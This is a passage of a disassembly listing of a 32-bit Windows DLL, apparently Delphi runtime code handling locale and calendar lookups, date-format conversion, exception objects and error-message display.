30h stosb mov ecx, 9 loc_10006172: ; CODE XREF: sub_100060DB+ABj mov al, [ecx+ebp-19h] mov ah, al shr al, 4 loc_1000617B: ; CODE XREF: sub_100060DB+80j add al, 30h stosb mov al, ah and al, 0Fh loc_10006182: ; CODE XREF: sub_100060DB+86j add al, 30h stosb dec ecx jnz short loc_10006172 mov eax, edi lea ecx, [ebx+edx+3] sub eax, ecx loc_10006190: ; CODE XREF: sub_100060DB+BCj mov byte ptr [edi], 0 dec edi cmp byte ptr [edi], 30h jz short loc_10006190 mov edx, [esi+4] shr edx, 1Fh jmp short loc_100061A8 ; --------------------------------------------------------------------------- loc_100061A1: ; CODE XREF: sub_100060DB+9j ; sub_100060DB+8Bj xor eax, eax xor edx, edx mov [ebx+3], al loc_100061A8: ; CODE XREF: sub_100060DB+C4j mov [ebx], ax mov [ebx+2], dl retn sub_100060DB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10005F8C loc_100061AF: ; CODE XREF: sub_10005F8C+1Ej ; sub_10005F8C+28j pop ebx pop esi pop edi mov esp, ebp pop ebp retn 8 ; END OF FUNCTION CHUNK FOR sub_10005F8C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100061B8 proc near ; CODE XREF: sub_1000622C+1Cp ; sub_10006440+27p ... var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF00h push ebx push esi mov esi, ecx mov ebx, [ebp+arg_0] push 100h lea ecx, [ebp+var_100] push ecx push edx push eax call sub_100045B8 ; GetLocaleInfoA test eax, eax jle short loc_100061F1 mov ecx, eax dec ecx lea edx, [ebp+var_100] mov eax, ebx call sub_10003710 jmp short loc_100061FA ; --------------------------------------------------------------------------- loc_100061F1: ; CODE XREF: sub_100061B8+25j mov eax, ebx mov edx, esi call sub_10003674 loc_100061FA: ; CODE XREF: sub_100061B8+37j pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_100061B8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10006204 proc near ; CODE XREF: sub_1000757C+ADp ; sub_1000757C+C0p ... var_10 = byte ptr -10h push ebx push esi push edi push ecx mov ebx, ecx mov esi, edx mov edi, eax push 2 lea eax, [esp+14h+var_10] push eax push esi push edi call sub_100045B8 ; GetLocaleInfoA test eax, eax jle short loc_10006225 mov al, [esp+10h+var_10] jmp short loc_10006227 ; --------------------------------------------------------------------------- loc_10006225: ; CODE XREF: sub_10006204+1Aj mov eax, ebx loc_10006227: ; CODE XREF: sub_10006204+1Fj pop edx pop edi pop esi pop ebx retn sub_10006204 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1000622C proc near ; CODE XREF: sub_10006268+46p ; sub_10006268+69p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], ecx mov edi, edx mov esi, eax mov ebx, [ebp+arg_0] push ebx mov eax, [ebp+arg_8] mov eax, [eax-4] xor ecx, ecx mov edx, esi call sub_100061B8 cmp dword ptr [ebx], 0 jnz short loc_1000625F mov eax, [ebp+var_4] mov eax, [eax+edi*4] mov edx, ebx call sub_100041C0 loc_1000625F: ; CODE XREF: sub_1000622C+24j pop edi pop esi pop ebx pop ecx pop ebp retn 8 sub_1000622C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10006268 proc near ; CODE XREF: sub_1000757C+23p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ecx push ebx push esi push edi xor eax, eax push ebp push offset loc_1000637B push dword ptr fs:[eax] mov fs:[eax], esp call sub_100045F8 ; GetThreadLocale mov [ebp+var_4], eax mov ebx, 1 mov esi, offset dword_1000A6A8 mov edi, offset dword_1000A6D8 loc_1000629B: ; CODE XREF: sub_10006268+83j push ebp push 0Bh lea eax, [ebp+var_C] push eax mov ecx, offset off_1000910C mov edx, ebx dec edx lea eax, [ebx+44h] dec eax call sub_1000622C pop ecx mov edx, [ebp+var_C] mov eax, esi call sub_10003674 push ebp push 0Bh lea eax, [ebp+var_10] push eax mov ecx, offset off_1000913C mov edx, ebx dec edx lea eax, [ebx+38h] dec eax call sub_1000622C pop ecx mov edx, [ebp+var_10] mov eax, edi call sub_10003674 inc ebx add edi, 4 add esi, 4 cmp ebx, 0Dh jnz short loc_1000629B mov ebx, 1 mov esi, offset dword_1000A708 mov edi, offset dword_1000A724 loc_100062FC: ; CODE XREF: sub_10006268+F6j lea eax, [ebx+5] mov ecx, 7 cdq idiv ecx mov [ebp+var_8], edx push ebp push 6 lea eax, [ebp+var_14] push eax mov ecx, offset off_1000916C mov edx, ebx dec edx mov eax, [ebp+var_8] add eax, 31h call sub_1000622C pop ecx mov edx, [ebp+var_14] mov eax, esi call sub_10003674 push ebp push 6 lea eax, [ebp+var_18] push eax mov ecx, offset off_10009188 mov edx, ebx dec edx mov eax, [ebp+var_8] add eax, 2Ah call sub_1000622C pop ecx mov edx, [ebp+var_18] mov eax, edi call sub_10003674 inc ebx add edi, 4 add esi, 4 cmp ebx, 8 jnz short loc_100062FC xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10006382 loc_1000636D: ; CODE XREF: sub_10006268+118j lea eax, [ebp+var_18] mov edx, 4 call sub_10003644 retn ; --------------------------------------------------------------------------- loc_1000637B: ; DATA XREF: sub_10006268+11o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_1000636D ; --------------------------------------------------------------------------- loc_10006382: ; CODE XREF: sub_10006268+112j ; DATA XREF: sub_10006268+100o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_10006268 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1000638C proc near ; DATA XREF: sub_10006440+4Eo arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi xor esi, esi mov ebx, 1 jmp short loc_100063A0 ; --------------------------------------------------------------------------- loc_1000639A: ; CODE XREF: sub_1000638C+1Cj cmp ebx, 7 jz short loc_100063BE inc ebx loc_100063A0: ; CODE XREF: sub_1000638C+Cj cmp ds:dword_1000A74C[ebx*4], 0 jnz short loc_1000639A lea eax, dword_1000A74C[ebx*4] mov edx, [ebp+arg_0] call sub_100037FC mov esi, 1 loc_100063BE: ; CODE XREF: sub_1000638C+11j mov eax, esi pop esi pop ebx pop ebp retn 4 sub_1000638C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100063C8 proc near ; DATA XREF: sub_10006440+77o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push ebx push esi xor eax, eax push ebp push offset loc_1000642D push dword ptr fs:[eax] mov fs:[eax], esp xor esi, esi mov ebx, 1 jmp short loc_100063EC ; --------------------------------------------------------------------------- loc_100063E6: ; CODE XREF: sub_100063C8+2Cj cmp ebx, 7 jz short loc_10006417 inc ebx loc_100063EC: ; CODE XREF: sub_100063C8+1Cj cmp ds:dword_1000A768[ebx*4], 0FFFFFFFFh jnz short loc_100063E6 lea eax, [ebp+var_4] mov edx, [ebp+arg_0] call sub_100037FC mov eax, [ebp+var_4] xor edx, edx call sub_10005580 mov ds:dword_1000A768[ebx*4], eax mov esi, 1 loc_10006417: ; CODE XREF: sub_100063C8+21j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10006434 loc_10006424: ; CODE XREF: sub_100063C8+6Aj lea eax, [ebp+var_4] call sub_10003620 retn ; --------------------------------------------------------------------------- loc_1000642D: ; DATA XREF: sub_100063C8+Ao jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10006424 ; --------------------------------------------------------------------------- loc_10006434: ; CODE XREF: sub_100063C8+64j ; DATA XREF: sub_100063C8+57o mov eax, esi pop esi pop ebx pop ecx pop ebp retn 4 sub_100063C8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10006440 proc near ; CODE XREF: sub_1000757C+31p var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push esi xor eax, eax push ebp push offset loc_100064D7 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] push eax call sub_100045F8 ; GetThreadLocale mov ecx, offset dword_100064EC mov edx, 100Bh call sub_100061B8 mov eax, [ebp+var_4] mov edx, 1 call sub_10005580 mov esi, eax mov eax, esi add eax, 0FFFFFFFDh sub eax, 3 jnb short loc_100064C1 push 4 push esi call sub_100045F8 ; GetThreadLocale push eax push offset sub_1000638C call sub_10004578 ; EnumCalendarInfoA mov edx, 7 mov eax, offset dword_1000A76C loc_100064A2: ; CODE XREF: sub_10006440+6Cj mov dword ptr [eax], 0FFFFFFFFh add eax, 4 dec edx jnz short loc_100064A2 push 3 push esi call sub_100045F8 ; GetThreadLocale push eax push offset sub_100063C8 call sub_10004578 ; EnumCalendarInfoA loc_100064C1: ; CODE XREF: sub_10006440+43j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_100064DE loc_100064CE: ; CODE XREF: sub_10006440+9Cj lea eax, [ebp+var_4] call sub_10003620 retn ; --------------------------------------------------------------------------- loc_100064D7: ; DATA XREF: sub_10006440+9o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_100064CE ; --------------------------------------------------------------------------- loc_100064DE: ; CODE XREF: sub_10006440+96j ; DATA XREF: sub_10006440+89o pop esi pop ecx pop ebp retn sub_10006440 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_100064EC dd 31h ; DATA XREF: sub_10006440+1Do ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100064F0 proc near ; CODE XREF: sub_1000757C+11Cp ; sub_1000757C+149p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ebx push esi push edi mov edi, edx mov esi, eax xor eax, eax push ebp push offset loc_100066BA push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, 1 mov eax, edi call sub_10003620 lea eax, [ebp+var_8] push eax call sub_100045F8 ; GetThreadLocale mov ecx, offset dword_100066D0 mov edx, 1009h call sub_100061B8 mov eax, [ebp+var_8] mov edx, 1 call sub_10005580 add eax, 0FFFFFFFDh sub eax, 3 jb loc_10006690 mov eax, ds:dword_1000A744 sub eax, 4 jz short loc_10006562 add eax, 0FFFFFFF3h sub eax, 2 jb short loc_10006562 xor eax, eax jmp short loc_10006564 ; --------------------------------------------------------------------------- loc_10006562: ; CODE XREF: sub_100064F0+64j ; sub_100064F0+6Cj mov al, 1 loc_10006564: ; CODE XREF: sub_100064F0+70j test al, al jz short loc_1000659D jmp short loc_1000658D ; --------------------------------------------------------------------------- loc_1000656A: ; CODE XREF: sub_100064F0+A6j mov al, [esi+ebx-1] sub al, 47h jz short loc_1000658C sub al, 20h jz short loc_1000658C lea eax, [ebp+var_C] mov dl, [esi+ebx-1] call sub_100037EC mov edx, [ebp+var_C] mov eax, edi call sub_1000389C loc_1000658C: ; CODE XREF: sub_100064F0+80j ; sub_100064F0+84j inc ebx loc_1000658D: ; CODE XREF: sub_100064F0+78j mov eax, esi call sub_10003894 cmp ebx, eax jle short loc_1000656A jmp loc_1000669F ; --------------------------------------------------------------------------- loc_1000659D: ; CODE XREF: sub_100064F0+76j mov eax, edi mov edx, esi call sub_10003674 jmp loc_1000669F ; --------------------------------------------------------------------------- loc_100065AB: ; CODE XREF: sub_100064F0+1A9j mov al, [esi+ebx-1] and eax, 0FFh bt ds:dword_100090C4, eax jnb short loc_100065EB mov edx, ebx mov eax, esi call sub_10007278 mov [ebp+var_4], eax lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_4] mov edx, ebx mov eax, esi call sub_10003988 mov edx, [ebp+var_10] mov eax, edi call sub_1000389C add ebx, [ebp+var_4] jmp loc_10006690 ; --------------------------------------------------------------------------- loc_100065EB: ; CODE XREF: sub_100064F0+CBj mov edx, offset dword_100066D4 lea eax, [esi+ebx-1] mov ecx, 2 call sub_10005708 test eax, eax jnz short loc_10006611 mov eax, edi mov edx, offset dword_100066E0 call sub_1000389C inc ebx jmp short loc_1000668F ; --------------------------------------------------------------------------- loc_10006611: ; CODE XREF: sub_100064F0+110j mov edx, offset aYyyy ; "yyyy" lea eax, [esi+ebx-1] mov ecx, 4 call sub_10005708 test eax, eax jnz short loc_10006639 mov eax, edi mov edx, offset aEeee ; "eeee" call sub_1000389C add ebx, 3 jmp short loc_1000668F ; --------------------------------------------------------------------------- loc_10006639: ; CODE XREF: sub_100064F0+136j mov edx, offset aYy ; "yy" lea eax, [esi+ebx-1] mov ecx, 2 call sub_10005708 test eax, eax jnz short loc_1000665F mov eax, edi mov edx, offset dword_10006708 call sub_1000389C inc ebx jmp short loc_1000668F ; --------------------------------------------------------------------------- loc_1000665F: ; CODE XREF: sub_100064F0+15Ej mov al, [esi+ebx-1] sub al, 59h jz short loc_1000666B sub al, 20h jnz short loc_10006679 loc_1000666B: ; CODE XREF: sub_100064F0+175j mov eax, edi mov edx, offset dword_10006714 call sub_1000389C jmp short loc_1000668F ; --------------------------------------------------------------------------- loc_10006679: ; CODE XREF: sub_100064F0+179j lea eax, [ebp+var_14] mov dl, [esi+ebx-1] call sub_100037EC mov edx, [ebp+var_14] mov eax, edi call sub_1000389C loc_1000668F: ; CODE XREF: sub_100064F0+11Fj ; sub_100064F0+147j ... inc ebx loc_10006690: ; CODE XREF: sub_100064F0+56j ; sub_100064F0+F6j mov eax, esi call sub_10003894 cmp ebx, eax jle loc_100065AB loc_1000669F: ; CODE XREF: sub_100064F0+A8j ; sub_100064F0+B6j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_100066C1 loc_100066AC: ; CODE XREF: sub_100064F0+1CFj lea eax, [ebp+var_14] mov edx, 4 call sub_10003644 retn ; --------------------------------------------------------------------------- loc_100066BA: ; DATA XREF: sub_100064F0+14o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_100066AC ; --------------------------------------------------------------------------- loc_100066C1: ; CODE XREF: sub_100064F0+1C9j ; DATA XREF: sub_100064F0+1B7o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_100064F0 endp ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 1 dword_100066D0 dd 31h ; DATA XREF: sub_100064F0+34o dword_100066D4 dd 6767h, 0FFFFFFFFh, 3 ; DATA XREF: sub_100064F0:loc_100065EBo dword_100066E0 dd 676767h ; DATA XREF: sub_100064F0+114o aYyyy db 'yyyy',0 ; DATA XREF: sub_100064F0:loc_10006611o align 4 dd 0FFFFFFFFh, 4 aEeee db 'eeee',0 ; DATA XREF: sub_100064F0+13Ao align 4 aYy db 'yy',0 ; DATA XREF: sub_100064F0:loc_10006639o align 10h dd 0FFFFFFFFh, 2 dword_10006708 dd 6565h, 0FFFFFFFFh, 1 ; DATA XREF: sub_100064F0+162o dword_10006714 dd 65h ; DATA XREF: sub_100064F0+17Do ; =============== S U B R O U T I N E ======================================= sub_10006718 proc near ; CODE XREF: CODE:10006787p test eax, eax jz short locret_10006721 sub eax, 1000h locret_10006721: ; CODE XREF: sub_10006718+2j retn sub_10006718 endp ; --------------------------------------------------------------------------- align 4 push ebp mov ebp, esp add esp, 0FFFFFBA8h push ebx push esi push edi mov [ebp-4], ecx mov ebx, edx mov esi, eax push 1Ch lea eax, [ebp-330h] push eax push ebx call sub_10004650 ; VirtualQuery cmp dword ptr [ebp-320h], 1000h jnz short loc_1000676E push 105h lea eax, [ebp-212h] push eax mov eax, [ebp-32Ch] push eax call sub_100045C0 ; GetModuleFileNameA test eax, eax jnz short loc_10006791 loc_1000676E: ; CODE XREF: CODE:10006750j push 105h lea eax, [ebp-212h] push eax mov eax, ds:dword_1000A664 push eax call sub_100045C0 ; GetModuleFileNameA mov eax, ebx call sub_10006718 mov [ebp-8], eax jmp short loc_1000679A ; --------------------------------------------------------------------------- loc_10006791: ; CODE XREF: CODE:1000676Cj sub ebx, [ebp-32Ch] mov [ebp-8], ebx loc_1000679A: ; CODE XREF: CODE:1000678Fj lea eax, [ebp-212h] mov dl, 5Ch call sub_100072B4 mov edx, eax inc edx lea eax, [ebp-10Dh] mov ecx, 104h call sub_100056D4 mov ebx, offset dword_100068A4 mov edi, offset dword_100068A4 mov eax, esi mov edx, off_10004A50 call sub_10002D10 test al, al jz short loc_100067F6 mov eax, [esi+4] call sub_1000397C mov ebx, eax mov eax, ebx call sub_100056AC test eax, eax jz short loc_100067F6 cmp byte ptr [ebx+eax-1], 2Eh jz short loc_100067F6 mov edi, offset dword_100068A8 loc_100067F6: ; CODE XREF: CODE:100067D3j ; CODE:100067E8j ... push 100h lea eax, [ebp-312h] push eax mov eax, ds:off_100093EC mov eax, [eax+4] push eax mov eax, ds:dword_1000A664 call sub_10003C50 push eax call sub_10004680 ; LoadStringA lea edx, [ebp-458h] mov eax, [esi] call sub_10002C30 lea eax, [ebp-458h] mov [ebp-358h], eax mov byte ptr [ebp-354h], 4 lea eax, [ebp-10Dh] mov [ebp-350h], eax mov byte ptr [ebp-34Ch], 6 mov eax, [ebp-8] mov [ebp-348h], eax mov byte ptr [ebp-344h], 5 mov [ebp-340h], ebx mov byte ptr [ebp-33Ch], 6 mov [ebp-338h], edi mov byte ptr [ebp-334h], 6 lea eax, [ebp-358h] push eax push 4 lea ecx, [ebp-312h] mov edx, [ebp+8] mov eax, [ebp-4] call sub_10005B60 mov eax, [ebp-4] call sub_100056AC pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 4 dword_100068A4 dd 0 ; DATA XREF: CODE:100067BAo ; CODE:100067BFo dword_100068A8 dd 2Eh, 0FBBCC481h, 68FFFFh, 8D000004h, 0E848244Ch, 0FFFFFE64h ; DATA XREF: CODE:100067F1o ; --------------------------------------------------------------------------- mov eax, ds:off_100093A8 cmp byte ptr [eax], 0 jz short loc_10006928 mov eax, ds:off_10009304 call sub_100026D0 call sub_100025EC lea eax, [esp+44h] push eax lea eax, [esp+48h] push eax call sub_10004670 ; CharToOemA push 0 lea eax, [esp+4] push eax lea eax, [esp+4Ch] call sub_100056AC push eax lea eax, [esp+50h] push eax push 0FFFFFFF4h call sub_100045D8 ; GetStdHandle push eax call sub_10004658 ; WriteFile push 0 lea eax, [esp+4] push eax push 2 push offset dword_10006970 push 0FFFFFFF4h call sub_100045D8 ; GetStdHandle push eax call sub_10004658 ; WriteFile jmp short loc_1000695E ; --------------------------------------------------------------------------- loc_10006928: ; CODE XREF: CODE:100068C8j push 40h lea eax, [esp+8] push eax mov eax, ds:off_100092E4 mov eax, [eax+4] push eax mov eax, ds:dword_1000A664 call sub_10003C50 push eax call sub_10004680 ; LoadStringA push 2010h lea eax, [esp+8] push eax lea eax, [esp+4Ch] push eax push 0 call sub_10004688 ; MessageBoxA loc_1000695E: ; CODE XREF: CODE:10006926j add esp, 444h retn ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_10006970 dd 0A0Dh ; DATA XREF: CODE:10006914o ; =============== S U B R O U T I N E ======================================= sub_10006974 proc near ; CODE XREF: sub_10006B2C+32p ; sub_10006BAC+38p ... push ebx push esi push edi test dl, dl jz short loc_10006983 add esp, 0FFFFFFF0h call sub_10002DB4 loc_10006983: ; CODE XREF: sub_10006974+5j mov esi, ecx mov ebx, edx mov edi, eax lea eax, [edi+4] mov edx, esi call sub_10003674 mov eax, edi test bl, bl jz short loc_100069A8 call sub_10002E0C pop large dword ptr fs:0 add esp, 0Ch loc_100069A8: ; CODE XREF: sub_10006974+23j mov eax, edi pop edi pop esi pop ebx retn sub_10006974 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100069B0 proc near ; CODE XREF: sub_10006C00+77p ; sub_10006D88+127p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push ebx push esi push edi test dl, dl jz short loc_100069C4 add esp, 0FFFFFFF0h call sub_10002DB4 loc_100069C4: ; CODE XREF: sub_100069B0+Aj mov esi, ecx mov ebx, edx mov edi, eax xor eax, eax push ebp push offset loc_10006A0A push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] push eax mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] mov eax, esi call sub_10005BA0 mov edx, [ebp+var_4] lea eax, [edi+4] call sub_10003674 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10006A11 loc_10006A01: ; CODE XREF: sub_100069B0+5Fj lea eax, [ebp+var_4] call sub_10003620 retn ; --------------------------------------------------------------------------- loc_10006A0A: ; DATA XREF: sub_100069B0+1Do jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10006A01 ; --------------------------------------------------------------------------- loc_10006A11: ; CODE XREF: sub_100069B0+59j ; DATA XREF: sub_100069B0+4Co mov eax, edi test bl, bl jz short loc_10006A26 call sub_10002E0C pop large dword ptr fs:0 add esp, 0Ch loc_10006A26: ; CODE XREF: sub_100069B0+65j mov eax, edi pop edi pop esi pop ebx pop ecx pop ebp retn 8 sub_100069B0 endp ; =============== S U B R O U T I N E ======================================= sub_10006A30 proc near ; CODE XREF: sub_10006CD8+Dp ; sub_10007030+Dp ... push ebx push esi push edi test dl, dl jz short loc_10006A3F add esp, 0FFFFFFF0h call sub_10002DB4 loc_10006A3F: ; CODE XREF: sub_10006A30+5j mov esi, ecx mov ebx, edx mov edi, eax lea edx, [edi+4] mov eax, esi call sub_100041C0 mov eax, edi test bl, bl jz short loc_10006A64 call sub_10002E0C pop large dword ptr fs:0 add esp, 0Ch loc_10006A64: ; CODE XREF: sub_10006A30+23j mov eax, edi pop edi pop esi pop ebx retn sub_10006A30 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10006A6C proc near ; CODE XREF: sub_10005444+14p ; sub_10006B2C+51p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push 0 push ebx push esi push edi test dl, dl jz short loc_10006A82 add esp, 0FFFFFFF0h call sub_10002DB4 loc_10006A82: ; CODE XREF: sub_10006A6C+Cj mov esi, ecx mov ebx, edx mov edi, eax xor eax, eax push ebp push offset loc_10006AD8 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] push eax lea edx, [ebp+var_8] mov eax, esi call sub_100041C0 mov eax, [ebp+var_8] mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] call sub_10005BA0 mov edx, [ebp+var_4] lea eax, [edi+4] call sub_10003674 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10006ADF loc_10006ACA: ; CODE XREF: sub_10006A6C+71j lea eax, [ebp+var_8] mov edx, 2 call sub_10003644 retn ; --------------------------------------------------------------------------- loc_10006AD8: ; DATA XREF: sub_10006A6C+1Fo jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10006ACA ; --------------------------------------------------------------------------- loc_10006ADF: ; CODE XREF: sub_10006A6C+6Bj ; DATA XREF: sub_10006A6C+59o mov eax, edi test bl, bl jz short loc_10006AF4 call sub_10002E0C pop large dword ptr fs:0 add esp, 0Ch loc_10006AF4: ; CODE XREF: sub_10006A6C+77j mov eax, edi pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn 8 sub_10006A6C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10006B00 proc near ; DATA XREF: CODE:10004AFCo ; CODE:10004B58o ... cmp byte ptr [eax+0Ch], 0 jz short locret_10006B0B call sub_10002C60 locret_10006B0B: ; CODE XREF: sub_10006B00+4j retn sub_10006B00 endp ; --------------------------------------------------------------------------- off_10006B0C dd offset dword_10006B10 ; DATA XREF: sub_10007C50+50r dword_10006B10 dd 4554090Eh, 726F7272h, 8636552h, 1000000h ; DATA XREF: CODE:off_10006B0Co db 3 dup(0) dd offset off_10001000 db 4 dd 90000000h ; =============== S U B R O U T I N E ======================================= sub_10006B2C proc near ; CODE XREF: sub_10006BAC:loc_10006BEDp var_10 = dword ptr -10h var_C = byte ptr -0Ch push ebx push esi add esp, 0FFFFFFF8h xor ebx, ebx call sub_1000261C mov esi, eax jmp short loc_10006B3D ; --------------------------------------------------------------------------- loc_10006B3C: ; CODE XREF: sub_10006B2C+1Dj inc ebx loc_10006B3D: ; CODE XREF: sub_10006B2C+Ej cmp ebx, 6 jg short loc_10006B4B cmp esi, ds:dword_100091A4[ebx*8] jnz short loc_10006B3C loc_10006B4B: ; CODE XREF: sub_10006B2C+14j cmp ebx, 6 jg short loc_10006B65 mov ecx, ds:dword_100091A8[ebx*8] mov dl, 1 mov eax, off_10004B70 call sub_10006974 jmp short loc_10006B82 ; --------------------------------------------------------------------------- loc_10006B65: ; CODE XREF: sub_10006B2C+22j mov [esp+10h+var_10], esi mov [esp+10h+var_C], 0 push esp push 0 mov ecx, ds:off_100092E0 mov dl, 1 mov eax, off_10004B70 call sub_10006A6C loc_10006B82: ; CODE XREF: sub_10006B2C+37j mov [eax+0Ch], esi pop ecx pop edx pop esi pop ebx retn sub_10006B2C endp ; --------------------------------------------------------------------------- align 4 off_10006B8C dd offset dword_10006B90 ; DATA XREF: sub_10007C50+3Br dword_10006B90 dd 45540A0Eh, 70656378h, 63655274h, 8, 1 ; DATA XREF: CODE:off_10006B8Co dd offset off_10001000 dd 4 ; =============== S U B R O U T I N E ======================================= sub_10006BAC proc near ; DATA XREF: sub_10007030+33o push ebx mov ebx, edx mov edx, eax dec dl jz short loc_10006BC1 dec dl jz short loc_10006BC9 dec edx sub dl, 16h jb short loc_10006BD1 jmp short loc_10006BED ; --------------------------------------------------------------------------- loc_10006BC1: ; CODE XREF: sub_10006BAC+7j mov edx, ds:dword_1000A794 jmp short loc_10006BF4 ; --------------------------------------------------------------------------- loc_10006BC9: ; CODE XREF: sub_10006BAC+Bj mov edx, ds:dword_1000A798 jmp short loc_10006BF4 ; --------------------------------------------------------------------------- loc_10006BD1: ; CODE XREF: sub_10006BAC+11j and eax, 0FFh lea eax, dword_100091C4[eax*8] mov ecx, [eax+4] mov eax, [eax] mov dl, 1 call sub_10006974 mov edx, eax jmp short loc_10006BF4 ; --------------------------------------------------------------------------- loc_10006BED: ; CODE XREF: sub_10006BAC+13j call sub_10006B2C mov edx, eax loc_10006BF4: ; CODE XREF: sub_10006BAC+1Bj ; sub_10006BAC+23j ... push ebx mov eax, edx jmp sub_10003080 sub_10006BAC endp ; --------------------------------------------------------------------------- pop ebx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10006C00 proc near ; CODE XREF: sub_10006CBC+3p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx push esi push edi xor ebx, ebx mov [ebp+var_20], ebx mov [ebp+var_4], ebx mov edi, ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_10006C9C push dword ptr fs:[eax] mov fs:[eax], esp test ebx, ebx jz short loc_10006C35 lea eax, [ebp+var_4] mov edx, ebx call sub_100036B8 jmp short loc_10006C42 ; --------------------------------------------------------------------------- loc_10006C35: ; CODE XREF: sub_10006C00+27j lea edx, [ebp+var_4] mov eax, ds:off_1000939C call sub_100041C0 loc_10006C42: ; CODE XREF: sub_10006C00+33j mov eax, [ebp+var_4] mov [ebp+var_1C], eax mov [ebp+var_18], 0Bh mov [ebp+var_14], esi mov [ebp+var_10], 0Bh mov [ebp+var_C], edi mov [ebp+var_8], 0 lea eax, [ebp+var_1C] push eax push 2 lea edx, [ebp+var_20] mov eax, ds:off_100093BC call sub_100041C0 mov ecx, [ebp+var_20] mov dl, 1 mov eax, off_10005278 call sub_100069B0 mov ebx, eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10006CA3 loc_10006C8B: ; CODE XREF: sub_10006C00+A1j lea eax, [ebp+var_20] call sub_10003620 lea eax, [ebp+var_4] call sub_10003620 retn ; --------------------------------------------------------------------------- loc_10006C9C: ; DATA XREF: sub_10006C00+1Ao jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10006C8B ; --------------------------------------------------------------------------- loc_10006CA3: ; CODE XREF: sub_10006C00+9Bj ; DATA XREF: sub_10006C00+86o mov eax, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_10006C00 endp ; =============== S U B R O U T I N E ======================================= sub_10006CAC proc near ; CODE XREF: sub_10006CBC+11p mov esp, ecx mov [esp+0], edx mov ebp, [ebp+0] jmp sub_10003080 sub_10006CAC endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10006CBC proc near ; DATA XREF: sub_10007030+67o arg_0 = dword ptr 8 push ebp mov ebp, esp call sub_10006C00 lea ecx, [ebp+arg_0] add ecx, 4 mov edx, [ebp+arg_0] call sub_10006CAC pop ebp retn 4 sub_10006CBC endp ; 